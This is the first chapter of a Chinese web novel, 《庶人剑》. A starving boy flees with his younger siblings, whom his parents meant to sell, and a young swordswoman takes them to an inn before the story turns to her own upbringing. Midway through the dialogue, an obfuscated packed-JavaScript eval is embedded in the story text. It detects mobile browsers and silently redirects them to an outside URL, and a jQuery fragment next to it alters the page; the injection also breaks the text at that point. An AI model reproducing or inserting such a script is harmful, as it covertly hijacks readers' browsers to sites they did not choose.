1. 第 1 章
作品:《庶人剑》 安平总觉得周围有人对自己窃窃私语。
他正带着弟弟妹妹,走在大路上。现下正是深秋,大路两旁野草枯黄,他的弟弟妹妹也枯黄。一阵风吹来,弟弟妹妹和野草一起瑟瑟发抖。
今年天干得很,夏秋连续两季没下雨,稻米、菜蔬,飞也似的涨价,像是要卖得比黄金还贵。
前些天的晚上,安平和弟弟妹妹都还在家里。因为实在太饿了,安平在晚饭时多喝了几碗没米的稀粥,心想今晚定睡不安分了,果不其然,睡觉时他腹胀难忍,起夜时路过爹娘屋子,听见爹娘还在说着话,竟也没睡。
他没多想,直奔茅房,然而其中几个字眼还是钻进了他的耳朵里:“……卖掉……干活……也是……”
不知怎的,他心里七上八下的发慌,于是上完茅房,他将耳朵紧贴爹娘房门,想要听清楚他们在说什么。
这下全部都听清了。听清了之后他整个人似光溜溜置身数九严寒天一般寒凉彻骨。
他爹娘要将所有弟妹都卖掉,因为都是要张嘴吃饭的小孩子,还没法下地干活。安平可以留下来,因为可以干活。
他果断将所有弟妹从睡梦中叫醒,看着弟妹们皮包骨的身体,整张脸上只剩下两只黑亮的眼珠,用那么孺慕又依恋的眼神望他,他便再也抑制不住地“呜呜”哭起来。他也不知道自己的决定是对是错,他只想为弟妹多争取一些活着的时间。
于是他带着他们逃离了爹娘,天蒙蒙亮就出了城,在路上,安平看见了好多和他们一样的人,饥寒交迫,背井离乡,即便官道上处处都是流民,他们这一堆孩子也成为了最扎眼的存在。安平无数次听见别人对自己窃窃私语。
他特意寻找一些看起来心善的、不那么狼狈的一家人,默默将自己和弟妹藏在他们身后,运气好的话,还能被施舍一些干粮,运气不好的时候,他就得带弟妹赶紧跑掉,藏进荒草地里,挖草根吃。
然而这天,窃窃私语的人尤其多,多到安平受不了,他正准备带弟妹躲进荒地里,就看到他们跟随在后的这家大娘皱着眉朝他们走来。
现在再跑来不及了,安平只能故作无事,看向来人。
胡大娘急匆匆走到他面前,低声道:“安平啊,你们快点跑吧,有人说这附近的土匪有动静,恐怕要下山劫道!”
“什么?”安平万万没想到竟然是这么回事,一时间也不知道该庆幸还是该忧心。
见他回不过来神的样子,胡大娘跺跺脚,“快走吧!”她只留下这么一句,便急忙转身,和自己一大家子一起离开官道,身影逐渐远去。
下一刻,好像大家都得知了消息一般,说话的声音轰然炸开,每个人都十分匆忙的样子,无头苍蝇似的乱转,有的下官道,消失在荒地尽头,有的加快了步伐赶路,想要赶紧走出这片地盘,有的朝官道西边走,那里影影绰绰可以看见村庄轮廓。
安平很快做了决定,他跟随一部分人走乡野小道,据说小道上有一家民栈,他想着也许可以在那里找到活干,换点干粮。
官道很快恢复了寂静。
******
“驾——”
偏僻小道上,一道飒沓身影打马而过。
马蹄下的黄沙扬起迷了眼,安平举起手挡了挡,然而眼眶已经被泪浸湿了。
安平狠狠擦了一把眼,嘴唇干裂,说话幅度大了就要流血,他小声嘀咕道:“我都两天没进水了,眼里竟还能流水。”
原本被他挡在身后的几个小小身影纷纷冒了出来,围住他脚边,仰脸看他,七嘴八舌问他:“哥哥你还好吗?哥哥你是不是要喝水?”
安平将几个孩子都推了回去,没法大声训斥,只能用眼神示意他们安分点。
他刚把几个孩子拨弄回身后,远处又响起“哒哒”的马蹄声。他使劲挤眼,抬手将眼泪抹掉,警觉看向前方。
马蹄声渐渐慢了下来,来人在他们面前停住。是刚经过的人,她又回来了。
“小孩,你家大人呢?”
来人穿着一身青衣,高高的马尾束在脑后,年轻稚气的面庞,眼睛明亮,明明是居高临下坐在马上问话,却笑眯眯的,让人觉得亲切。
安平不说话。
明笛稀奇地打量这堆小孩,一个个灰头土脸的像小蘑菇,见安平不答话也不恼,翻身下马,站定在他们面前,换了一种问法:“知不知道一群小孩单独走荒道,是很危险的?”
安平怕惹恼对方沾上麻烦,只好接话:“这世上本就有许多危险是避不开的。”
“你家大人呢?”明笛又问了一遍。
一问家里大人安平又不吭声了。明笛思忖,大概是不幸离世了,不然也不会放任家里孩子单独出来。
不再多问,明笛一手牵马,一手指着前方,“你们知道前面有家民间开的客栈吗?”
安平点头。
“很好,看样子你们也是要去那里,我便与你们一道走吧。”
知道他们防备,明笛率先走在前面,安平带着几个小小孩,慢吞吞跟在她身后。
明笛用余光瞥着几个孩子的状况,啧啧感叹,暗中摇头,一个个面黄肌瘦的,山里的猴子都比他们壮实。
不多时,一座灰扑扑的客栈出现在几人眼前,门两旁的柱子早已褪了漆,匾额上覆满风沙,屋顶上的瓦楞间也尽是泥土杂草。明笛走上前去,将马系到拴马桩上,先行进了客栈。
几个孩子跟进去,就见明笛已经与客栈掌柜熟稔交谈起来。
明笛对着他们扬了扬下巴,“尘香娘,这几个孩子是独自出来讨生活的,瞧着像是几天没吃饭的样子,你给他们点吃的,再看看能不能把他们留下来做事,给他们一个去处。”
半大孩子束手束脚站在原地,灰头土脸的,但又竭力表现出温驯乖巧的样子,像是几个小石柱。
尘香娘打量一眼,笑道:“我这里是什么专门做好事的寺院不成?”
“哎呀,我看这几个孩子机灵,留下来做几天帮工,你后院的碎柴都有人砍了,再给他们点干粮,让他们接下来好走路,去到最近的银水城也是好的。”
“行吧。”尘香娘走近几个孩子,绕着转了一圈,突兀问道:“你们几个孩子,怎么不走官道,反而走我这乡间野道?”
末了,她又加一句:“你们好好说出其中门道,我开客栈多年,见多识广,你们可不要编什么瞎话来骗我,我一听就能分清的,倘若你们说了谎话,我决计不会留你们下来帮工。”
安平心里直打鼓,嗫嚅道:“我们原来也是走官道的,但是听路人说,说附近的劫匪恐怕要有动静,继续走官道怕被波及,这才,才挑了荒僻小道走……”
尘香娘扬眉道:“依我看,恐怕小道更容易遭劫匪,路边随便听来的传言你们也信?”
安平不说话了,他也是头回离家,独自远行,虽然知道点世事艰险,但到底不如掌柜眼光毒辣,心里有称。
“不过……”尘香娘忖度道,“都是人在异乡为异客,路上的行人,消息是最流通的,劫匪恐怕真要有什么大动静也说不准呐。”
明笛原本悠哉闲哉踱步到她身边,闻言浑身皮都提紧了,肃容道:“怎么说?土匪即将掀起祸乱?”
尘香娘看她一眼,缓缓点头,“你要是挂心,去打听一下最好。”
明笛正色点头,当即大步离去,路过几个孩子时,挨个摸了摸他们的头。
走出客栈前,身后问答飘进她耳朵——
“你为何独自带着弟妹出来?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106341|163889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“父母不慈,要卖了年幼弟妹,我不舍弟妹,这才带他们偷跑出来。”
一声长叹。“……也是可怜孩子,苦了你作为哥哥勉力拖家带口讨生活了。”
明笛临出门前还在想,原来不是父母去世,而是卖儿鬻女么。
跟我竟是差不多的身世。
******
十五年前,明笛也是一个小小婴儿。
作为女儿,她没有被父母抚养的幸运,但上天待她不薄,父母并没有直接溺死她,也没有将她扔到深山老林里,而是将她抛到有人来往的山脚下。
师父下山时,一眼看见了她,将她捡回去,抚养长大,教授武艺。
她自小就知道自己的身世,因此心怀夙愿,自己既出身底层,受了师父恩德才得以成人,那她学成武艺之后,也要下山济世救人,帮助许许多多像她一样的弃婴、弱小。
前些天,她刚过了十五岁生辰,然而师父做的长寿面十分难吃,等她吃完了,师父也撑着下巴睡着了。
“叽——叽叽——”明笛听见了微妙的声音,眼睛四处逡巡一圈,最后定在了师父的长胡子上。
如果她没看错的话,师父的胡子,住下鸟了。
明笛心想师父老人家这么多年都操心她的大小事,现下她已经过了十五岁,该是省心省意,孝敬他老人家的时候了。
这么想着,她掏出一把剪刀,准备给师父的胡子修剪修剪,她练了这么多年刀法,想必耍起剪刀来也是步步生风、如臂使指吧!
谁知她先是一剪刀戳在了小鸟屁股上,鸟尖叫着扑棱翅膀飞了起来,屁股上的羽毛飘的到处都是,师父睡觉时呼吸绵长,一个吸气就将鸟羽吸了进去,随即“阿——嚏”一声,师父被自己的喷嚏声吵醒了。
而他打喷嚏的震动也传到了正给他修剪胡子的明笛身上,明笛手一滑,剪刀戳进了师父胸口。
“疼!疼疼疼!”师父这下是真清醒了,习武之人一个正身就跳了以来,发现胸口热热的,还有丝丝疼痛之意传来,低头看去,胸前衣服上一个缺口,正汩汩渗血,露出里面翻开的皮肉,比针眼大一些的小洞冒着血呢。
师父火冒三丈,目露凶光,“明——笛——你又做了什么好事!”
是的,师父气归气,但却见怪不怪,从小到大明笛就是个泼猴,一身反骨,浑身上下都是劲,拆了西墙拆东墙,师父这个隐逸侠士原本用来安度晚年的山上小院,已经被她祸害得只剩潦草茅屋了。
明笛躲避,明笛站直,明笛垂头,明笛心虚。
“师父,你胡子筑巢了,我为你修建胡子呢。”
师父咬牙切齿,“我是不是早就告诉过你,你千万不要靠近我?你祸害什么都行,反正祸害完你自己修,但你别来祸害我!你祸害我,我能被你修好吗!”说到最后,师父已是欲哭无泪,满目悲怆。
“师父,我错了!”明笛深深垂首。
于是,明笛就这么被师父赶下了山,理由是“已学成武艺,可以下山行侠仗义了”。
当然明笛不会对任何人说,师父原话其实是“我已管不住你了,你下山祸害其他人去吧,师父修好自己还来不及呢”。
******
明笛身为习武之人,耳聪目明,数里之外的动静都会被她听进耳里,此时早听见前方有打斗的动静。她快马加鞭,一阵风似的刮过,路两边的杂草都被这阵风吹得倒伏。
越接近,动静就越明显。两拨人马在交战,一方喊着“保护小姐”,另一方不说话,从兵刃交接的声音听来,“保护小姐”的那方怕是不敌。
明笛索性下马,运起轻功,直奔交战地点。
可是等她到达地方,地上只剩满地尸体,没有活人踪迹,更不剩土匪了!